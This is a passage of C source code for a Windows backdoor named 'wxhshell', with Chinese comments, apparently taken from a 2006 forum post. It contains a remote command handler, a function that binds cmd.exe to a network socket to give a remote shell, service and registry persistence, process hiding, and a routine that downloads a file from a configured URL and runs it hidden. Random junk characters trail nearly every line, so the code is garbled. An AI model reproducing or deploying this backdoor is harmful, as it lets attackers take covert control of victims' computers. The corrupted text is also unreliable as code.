  else { CVy\']  
Ap<kK0#h  
    switch(cmd[0]) { j LS<S_`  
  IGQcQ/M  
  // 帮助 ,|RN?1?U  
  case '?': { S[ln||{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l3O!{&~K  
    break; N7 FndB5%  
  } ' %&gER  
  // 安装 x,% %^(  
  case 'i': { k:QeZn(  
    if(Install()) ?-Zl(uX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :2zga=)g  
    else [(rT,31cW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2t,N9@u=UN  
    break; !Soz??~o/  
    } bpx ^  
  // 卸载 "\k| Z  
  case 'r': { YLsOA`5X  
    if(Uninstall()) j"F?^0aR,Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !7hjA=0  
    else 1p5n}|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B{ Ab #  
    break; $-MVsa9>I  
    } .C*mDi)wZ  
  // 显示 wxhshell 所在路径 .sCj3sX*  
  case 'p': { m!K`?P]:N  
    char svExeFile[MAX_PATH]; , UsY0YC  
    strcpy(svExeFile,"\n\r"); SNJSRqWL/  
      strcat(svExeFile,ExeFile); fg)VO6Wo&  
        send(wsh,svExeFile,strlen(svExeFile),0); DYDeb i6  
    break; lsaA    
    } 4`GOBX1b.y  
  // 重启 }6_*i!68"U  
  case 'b': { smUSR4VK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nSv@FT'~z  
    if(Boot(REBOOT)) jQrj3*V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @PT([1C  
    else { >t_h/:JZ)  
    closesocket(wsh); -tZ~&1"  
    ExitThread(0); X- ZZLl#  
    } 'eo/"~/*w  
    break; O joa3  
    } ,gpZz$Ef(  
  // 关机 ZZn$N-  
  case 'd': { @y'0_Y0-B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jF}-dfe  
    if(Boot(SHUTDOWN)) Kl,NL]]4*5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rQxiG[0  
    else { \%|Xf[AX  
    closesocket(wsh); 3K=%I+G(4  
    ExitThread(0); xg}Q~,:  
    } B[k=6EU8k  
    break; : eCeJ~&E  
    } 5a-x$Qb9  
  // 获取shell f"*k>=ETI  
  case 's': { i!x>)E  
    CmdShell(wsh); /&c2O X|Z  
    closesocket(wsh); :h(` eC  
    ExitThread(0); (3"N~\9m  
    break; j4<K0-?  
  } .g3=L  
  // 退出 RA!q)/ +  
  case 'x': { WfD fj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |AH>EXhv  
    CloseIt(wsh); Sbl=U  
    break; ^)wKS]BQ..  
    } O%3Hp.|!  
  // 离开 e P,bFc  
  case 'q': { m):*>o55  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .faf!3d  
    closesocket(wsh); B>W8pZu-J  
    WSACleanup(); Cs_&BSs  
    exit(1); lxm/*^  
    break; tYXE$ i  
        } LFI#wGhXVk  
  } [ /YuI@C,@  
  } |{&M#qXe  
FieDESsX>  
  // 提示信息 ^nK<t?KS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lH;V9D^  
} {"+M%%`*#  
  } +U1 Ir5Lx  
Z2gWa~dBC  
  return; J*[@M*R;&  
} w`;HwK$ ,  
WFiX=@SS  
// shell模块句柄 ni&|;"Nt-  
int CmdShell(SOCKET sock) o]~\u{o#.  
{ CVW T >M<  
STARTUPINFO si; i1|>JM[V  
ZeroMemory(&si,sizeof(si));  ]'`E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ] \M+ju  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {g! 7K  
PROCESS_INFORMATION ProcessInfo; v!8=B21  
char cmdline[]="cmd"; (Kwqa"Hk4{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +U2lwd!j  
  return 0; d?8OY  
} gLB(A\yG  
R7/S SuG6\  
// 自身启动模式 a$ "nNmD?  
int StartFromService(void) ?id) 2V0s  
{ cv aG[NF  
typedef struct !1G KpL  
{ g#=<;X2  
  DWORD ExitStatus; >!t3~q1Cn  
  DWORD PebBaseAddress; x-m*p^}  
  DWORD AffinityMask; kU[hB1D5  
  DWORD BasePriority; hO]F\0+  
  ULONG UniqueProcessId; Qds<j{2  
  ULONG InheritedFromUniqueProcessId; /[<F f  
}   PROCESS_BASIC_INFORMATION; F(yR\)!C  
n@8Y6+7i  
PROCNTQSIP NtQueryInformationProcess; WM'!|lg  
nwU],{(Hgr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c,xdkiy3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y#j7vO  
=/Gd<qz3  
  HANDLE             hProcess; ]>1Mq,!  
  PROCESS_BASIC_INFORMATION pbi; Jy)=TJ!y  
Y"H`+UV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @."K"i'Bl  
  if(NULL == hInst ) return 0; ?$|tT\SFV  
7GOBb|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QN#"c  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :C*}Yg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dd  
-qc'J<*^4  
  if (!NtQueryInformationProcess) return 0; '#7k9\  
e*2^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Voo'ZeZa  
  if(!hProcess) return 0; Rn~'S2`u  
@Chl>s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Sb[>R(0:  
.;4N:*hY  
  CloseHandle(hProcess); V vrsf6l]  
:}e<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ] 0X|_bU  
if(hProcess==NULL) return 0; Cw,a)XB  
klUV&O+=%  
HMODULE hMod; 93]63NY  
char procName[255]; Mt4  
unsigned long cbNeeded; M{J>yN  
"du(BZw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .b,\.0N  
nnyT,e%  
  CloseHandle(hProcess); j2D!=PK;  
oJTEN}fL  
if(strstr(procName,"services")) return 1; // 以服务启动 1Vy8eI`4  
A;;#]]48  
  return 0; // 注册表启动 =Fz mifTc  
} )Z:-qH  
j\>&]0-Iq  
// 主模块 rN&fFI  
int StartWxhshell(LPSTR lpCmdLine) }!iopu  
{ }ppApJT  
  SOCKET wsl; ;5/Se"Nd  
BOOL val=TRUE; zeMV_rW~  
  int port=0; z\|<h=EU  
  struct sockaddr_in door; eQ'E`S_d  
2E-Kz?,:[  
  if(wscfg.ws_autoins) Install(); 0kUhz\"R:q  
wo&IVy@s$  
port=atoi(lpCmdLine); u0wu\  
:$G^TD/n  
if(port<=0) port=wscfg.ws_port; ;l;jTb^l  
16Qu{K  
  WSADATA data; dcrvEc_/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q?j7bp]  
?*~ ~Ok  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |KJGM1]G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C/!P&`<6  
  door.sin_family = AF_INET; (h wzA *(c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y;ey(  
  door.sin_port = htons(port); eYv^cbO@:  
7oE:]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dU-:#QV6  
closesocket(wsl); w?D=  
return 1; ]4O!q}@Cd  
} /[Nkk)8-  
d*TH$-F!p  
  if(listen(wsl,2) == INVALID_SOCKET) { @u+LF]MY  
closesocket(wsl); 9vi+[3s/=;  
return 1; 3x(Y+ ymP  
} 7 :\J2$P  
  Wxhshell(wsl); p_xJ KQS  
  WSACleanup(); v1$}[&/  
|3k r*#  
return 0; "U9e)a0v  
*vNAm(\N  
} 5#z7Hj&w  
vmxS^_I  
// 以NT服务方式启动 \V~B+e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |xb;#ruR6  
{ E.C=VfBW  
DWORD   status = 0; UaG&HGg]!  
  DWORD   specificError = 0xfffffff; 5aVZ"h"  
Z2;~{$&M+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P=_W{6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Eb,M+c?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #Hy9 ;Q  
  serviceStatus.dwWin32ExitCode     = 0; ^!m%:r7Dr  
  serviceStatus.dwServiceSpecificExitCode = 0; G=e'H-  
  serviceStatus.dwCheckPoint       = 0; e9\_H=t+  
  serviceStatus.dwWaitHint       = 0; Nt tu)wr  
k-4z2qB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T2?.o.&u  
  if (hServiceStatusHandle==0) return; p*jH5h cy  
_or_Vw!  
status = GetLastError(); (R s;+S  
  if (status!=NO_ERROR) uKY1AC__  
{ CT\rx>[J.6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~Y1nU-  
    serviceStatus.dwCheckPoint       = 0; a U<+ `  
    serviceStatus.dwWaitHint       = 0; P(\x. d:  
    serviceStatus.dwWin32ExitCode     = status; >of9m  
    serviceStatus.dwServiceSpecificExitCode = specificError; RP^L.X(7^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $;";i:H`  
    return; D=f$-rn  
  } ,=pn}\ R  
N5MWMN[6aP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U[pR `u  
  serviceStatus.dwCheckPoint       = 0; #T>pu/EQX_  
  serviceStatus.dwWaitHint       = 0; Bi/E{k,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ea[SS@'R  
} y2B'0l  
G[d]t$f=  
// 处理NT服务事件,比如:启动、停止 4y)6!p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t ,EMyZ  
{ X2 <fS~m  
switch(fdwControl) g/!tp;e  
{ 9*s:Vff{  
case SERVICE_CONTROL_STOP: ?5[$d{ Gjl  
  serviceStatus.dwWin32ExitCode = 0; &j"_hFhv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {XXnMO4uR;  
  serviceStatus.dwCheckPoint   = 0; L'e|D=y  
  serviceStatus.dwWaitHint     = 0; @E> rqI;`  
  { b$/7rVH!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $m-@ICG#  
  } $}H,g}@0  
  return; S2 -J1 x2N  
case SERVICE_CONTROL_PAUSE: 7 $dibTER  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D4{<~/oBv  
  break; GG4FS  
case SERVICE_CONTROL_CONTINUE: (F*y27_u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q ~eh_>"  
  break; R,l*@3Q  
case SERVICE_CONTROL_INTERROGATE: 5^{2 g^jH6  
  break; pe!"!xJE  
}; k5X-*^U=V}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r+a0.  
} A*kN I  
cf\GC2+"^$  
// 标准应用程序主函数 1,n\Osd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S:c d'68D  
{ :?gp}.  
~qE:Nz0@  
// 获取操作系统版本 =|V#~p*  
OsIsNt=GetOsVer(); \XbCJJP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !^aJS'aq  
qjN*oM,  
  // 从命令行安装 cOdgBi  
  if(strpbrk(lpCmdLine,"iI")) Install(); #_'^oGz`  
]_m(q`_  
  // 下载执行文件  {T5u"U4  
if(wscfg.ws_downexe) { DNRWE1P2bg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -{p~sRc&  
  WinExec(wscfg.ws_filenam,SW_HIDE); {afIr1j/m  
} ^= qL[S6/M  
yh+.Yn=+  
if(!OsIsNt) { L}t P_ *  
// 如果时win9x,隐藏进程并且设置为注册表启动 r:t3Kf`+E-  
HideProc(); =GC,1WVEqV  
StartWxhshell(lpCmdLine); xQxq33\  
} 5C5OLAl v  
else dSE"G>l8  
  if(StartFromService()) C|S~>4`  
  // 以服务方式启动 WS\Ir-B  
  StartServiceCtrlDispatcher(DispatchTable); 15kkf~Z<t  
else p|w0 i[hc  
  // 普通方式启动 :d|~k  
  StartWxhshell(lpCmdLine); ]4,eCT  
YN7JJJ/~T  
return 0; ;y-sd?pAk  
}
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只看该作者 1 发表于: 2006-10-10
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